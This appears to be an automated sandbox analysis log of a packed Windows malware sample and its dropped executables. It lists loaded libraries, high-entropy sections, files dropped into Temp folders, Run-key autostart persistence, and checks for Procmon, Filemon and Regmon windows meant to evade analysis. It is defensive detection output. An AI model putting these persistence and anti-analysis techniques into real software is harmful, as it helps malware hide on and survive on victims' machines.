Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	Section loaded: winmm.dll

Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2874880 > 1048576

Source: file.exe

Static PE information: Raw size of wjqxmzgq is bigger than: 0x100000 < 0x292400

Source:	Binary string: my_library.pdbU source: 544ed086e5.exe, 00000008.00000002.2927820038.000000000087C000.00000040.00000001.01000000.0000000B.sdmp, 544ed086e5.exe, 00000008.00000003.2887362261.000000000525B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 544ed086e5.exe, 00000008.00000002.2927820038.000000000087C000.00000040.00000001.01000000.0000000B.sdmp, 544ed086e5.exe, 00000008.00000003.2887362261.000000000525B000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W;wjqxmzgq:EW;xobrrexd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wjqxmzgq:EW;xobrrexd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Unpacked PE file: 3.2.GXK4CGNQC97BZAH5XF5VF7CI8.exe.d50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;edfilslq:EW;gprpjvtr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;edfilslq:EW;gprpjvtr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 4.2.skotes.exe.d70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;edfilslq:EW;gprpjvtr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;edfilslq:EW;gprpjvtr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Unpacked PE file: 8.2.544ed086e5.exe.850000.0.unpack :EW;.rsrc :W;.idata :W; :EW;cbbjugzk:EW;lfmofsyx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;cbbjugzk:EW;lfmofsyx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Unpacked PE file: 24.2.544ed086e5.exe.850000.0.unpack :EW;.rsrc :W;.idata :W; :EW;cbbjugzk:EW;lfmofsyx:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;cbbjugzk:EW;lfmofsyx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Unpacked PE file: 27.2.IM4G4OFDR8U7L3FGHM3.exe.ee0000.0.unpack :EW;.rsrc:W;.idata :W;cfyesryy:EW;gwntuilp:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Unpacked PE file: 31.2.PP98OPFFP28IWX5W.exe.200000.0.unpack :EW;.rsrc:W;.idata :W; :EW;edfilslq:EW;gprpjvtr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;edfilslq:EW;gprpjvtr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x2bfef4 should be: 0x2c40af
Source: num.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: real checksum: 0x1df3c9 should be: 0x1dd90c
Source: 8Z32J2RQ40P4PPMYF6S72.exe.9.dr	Static PE information: real checksum: 0x2a786b should be: 0x2a96e2
Source: 275cb7a9a2.exe.6.dr	Static PE information: real checksum: 0x2bfef4 should be: 0x2c40af
Source: IM4G4OFDR8U7L3FGHM3.exe.7.dr	Static PE information: real checksum: 0x2a786b should be: 0x2a96e2
Source: file.exe	Static PE information: real checksum: 0x2bfef4 should be: 0x2c40af
Source: skotes.exe.3.dr	Static PE information: real checksum: 0x1df3c9 should be: 0x1dd90c
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x2142c2 should be: 0x2115c3
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: real checksum: 0x1df3c9 should be: 0x1dd90c
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: real checksum: 0x1df3c9 should be: 0x1dd90c
Source: 544ed086e5.exe.6.dr	Static PE information: real checksum: 0x2142c2 should be: 0x2115c3
Source: num[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: wjqxmzgq
Source: file.exe	Static PE information: section name: xobrrexd
Source: file.exe	Static PE information: section name: .taggant
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name:
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name: .idata
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name:
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name: edfilslq
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name: gprpjvtr
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: edfilslq
Source: skotes.exe.3.dr	Static PE information: section name: gprpjvtr
Source: skotes.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name: wjqxmzgq
Source: random[1].exe.6.dr	Static PE information: section name: xobrrexd
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 275cb7a9a2.exe.6.dr	Static PE information: section name:
Source: 275cb7a9a2.exe.6.dr	Static PE information: section name: .idata
Source: 275cb7a9a2.exe.6.dr	Static PE information: section name: wjqxmzgq
Source: 275cb7a9a2.exe.6.dr	Static PE information: section name: xobrrexd
Source: 275cb7a9a2.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: cbbjugzk
Source: random[1].exe0.6.dr	Static PE information: section name: lfmofsyx
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: 544ed086e5.exe.6.dr	Static PE information: section name:
Source: 544ed086e5.exe.6.dr	Static PE information: section name: .rsrc
Source: 544ed086e5.exe.6.dr	Static PE information: section name: .idata
Source: 544ed086e5.exe.6.dr	Static PE information: section name:
Source: 544ed086e5.exe.6.dr	Static PE information: section name: cbbjugzk
Source: 544ed086e5.exe.6.dr	Static PE information: section name: lfmofsyx
Source: 544ed086e5.exe.6.dr	Static PE information: section name: .taggant
Source: IM4G4OFDR8U7L3FGHM3.exe.7.dr	Static PE information: section name:
Source: IM4G4OFDR8U7L3FGHM3.exe.7.dr	Static PE information: section name: .idata
Source: IM4G4OFDR8U7L3FGHM3.exe.7.dr	Static PE information: section name: cfyesryy
Source: IM4G4OFDR8U7L3FGHM3.exe.7.dr	Static PE information: section name: gwntuilp
Source: IM4G4OFDR8U7L3FGHM3.exe.7.dr	Static PE information: section name: .taggant
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name:
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name: .idata
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name:
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name: edfilslq
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name: gprpjvtr
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name: .taggant
Source: 8Z32J2RQ40P4PPMYF6S72.exe.9.dr	Static PE information: section name:
Source: 8Z32J2RQ40P4PPMYF6S72.exe.9.dr	Static PE information: section name: .idata
Source: 8Z32J2RQ40P4PPMYF6S72.exe.9.dr	Static PE information: section name: cfyesryy
Source: 8Z32J2RQ40P4PPMYF6S72.exe.9.dr	Static PE information: section name: gwntuilp
Source: 8Z32J2RQ40P4PPMYF6S72.exe.9.dr	Static PE information: section name: .taggant
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name:
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name: .idata
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name:
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name: edfilslq
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name: gprpjvtr
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009E8C8B push ecx; ret	0_3_009E8CD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009E8C8B push ecx; ret	0_3_009E8CD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009E8CD6 push ecx; ret	0_3_009E8CD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009E8CD6 push ecx; ret	0_3_009E8CD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009DA844 push edi; iretd	0_3_009DA84A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_009D8C90 push ebx; ret	0_3_009D8C92

Source: file.exe	Static PE information: section name: entropy: 7.983838861531346
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name: entropy: 7.984163692603841
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name: edfilslq entropy: 7.954585037030609
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.984163692603841
Source: skotes.exe.3.dr	Static PE information: section name: edfilslq entropy: 7.954585037030609
Source: random[1].exe.6.dr	Static PE information: section name: entropy: 7.983838861531346
Source: 275cb7a9a2.exe.6.dr	Static PE information: section name: entropy: 7.983838861531346
Source: random[1].exe0.6.dr	Static PE information: section name: cbbjugzk entropy: 7.953118561919161
Source: 544ed086e5.exe.6.dr	Static PE information: section name: cbbjugzk entropy: 7.953118561919161
Source: IM4G4OFDR8U7L3FGHM3.exe.7.dr	Static PE information: section name: entropy: 7.80234292244424
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name: entropy: 7.984163692603841
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name: edfilslq entropy: 7.954585037030609
Source: 8Z32J2RQ40P4PPMYF6S72.exe.9.dr	Static PE information: section name: entropy: 7.80234292244424
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name: entropy: 7.984163692603841
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name: edfilslq entropy: 7.954585037030609

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File created: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File created: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File created: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File created: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003088001\num.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 544ed086e5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 275cb7a9a2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c86e5fe17c.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: RegmonClass
